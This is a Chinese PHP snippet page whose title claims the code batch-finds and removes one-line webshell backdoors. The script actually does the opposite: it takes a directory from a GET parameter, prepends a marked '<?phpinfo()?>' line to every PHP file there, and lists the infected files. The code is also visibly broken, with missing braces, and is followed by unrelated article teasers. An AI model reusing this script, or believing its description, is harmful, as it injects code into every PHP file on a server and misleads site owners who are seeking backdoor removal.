用php实现批量查询清除一句话后门的代码

yipeiwu_com6年前PHP代码库
总是忘记一句话放到哪个文件里去了,直接全部干掉...
复制代码 代码如下:

<?//xy7 
if (!isset($dir) or empty($dir)) { 
$dir=str_replace('\\','/',dirname(__FILE__)); 
echo "<font color=\"#00688B\">".$dir."</font>"; 
} else { 
$dir=$_GET['dir']; 
echo "<font color=\"#00688B\">".$dir."</font>"; 

$evilcode="<?phpinfo();//xy7?>"; 
$testdir = opendir($dir); 
while($filea = @readdir($testdir)){ 
if(strstr($filea, '.php')){ 
$fp = @fopen($filea, 'r+'); 
if (!strstr(@fread($fp, 20), 'xy7')){ 
rewind($fp); 
$old = @fread($fp, filesize($filea)); 
rewind($fp); 
fwrite($fp, $evilcode . $old); 

fclose($fp); 


closedir($testdir); 
?> 
<hr> 
<table width="100%" border="0" cellpadding="3" cellspacing="1"> 
<tr> 
<td><b>被X的文件</b></td> 
<td><b>时间</b></td> 
<td><b>大小</b></td> 
</tr> 
<?php 
$dirs=@opendir($dir); 
while ($file=@readdir($dirs)) { 
if ((is_file($file)) and (ereg("\.php{0,1}$",$file))) 
{$b="$dir/$file"; 
$a=@is_dir($b); 
if($a=="0"){ 
$size=@filesize("$dir/$file"); 
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); 
echo "<tr>\n"; 
echo "<td>$file</td>\n"; 
echo " <td>$lastsave</td>\n"; 
echo " <td>$size Bytes</td>\n"; 



@closedir($dirs); 
?> 
</table> 
codz by xuanmumu 

相关文章

PHP header函数分析详解

在php语言中,header()这个函数很有用的,尤其在用到ajax时候,他会帮你解决一些意想不到的问题。下面是header的一些详细讲解。希望对phper有帮助 复制代码 代码如下:...

PHP伪静态写法附代码

比如这个网页 //www.jb51.net/soft.php/1,100,8630.html 其实处理的脚本是soft.php 参数为1,100,8630 相当于soft.ph...

Ubuntu 16.04下安装PHP 7过程详解

前言 最近由于换了硬盘重装了(升级)系统到Ubuntu16.04之后,开发环境也要重新安装,其实16.04源里面默认的PHP版本就是7.x,但是有个问题就是没有OCI扩展,有项目需要使用...

PHP基于工厂模式实现的计算器实例

本文实例讲述了PHP基于工厂模式实现的计算器。分享给大家供大家参考。具体如下: abstract class Calculator { private $number1; pr...

PHP实现下载断点续传的方法

本文实例讲述了PHP实现下载断点续传的方法。分享给大家供大家参考。 具体实现代码如下: 复制代码 代码如下:<?php /*  * PHP下载断点续传 &nbs...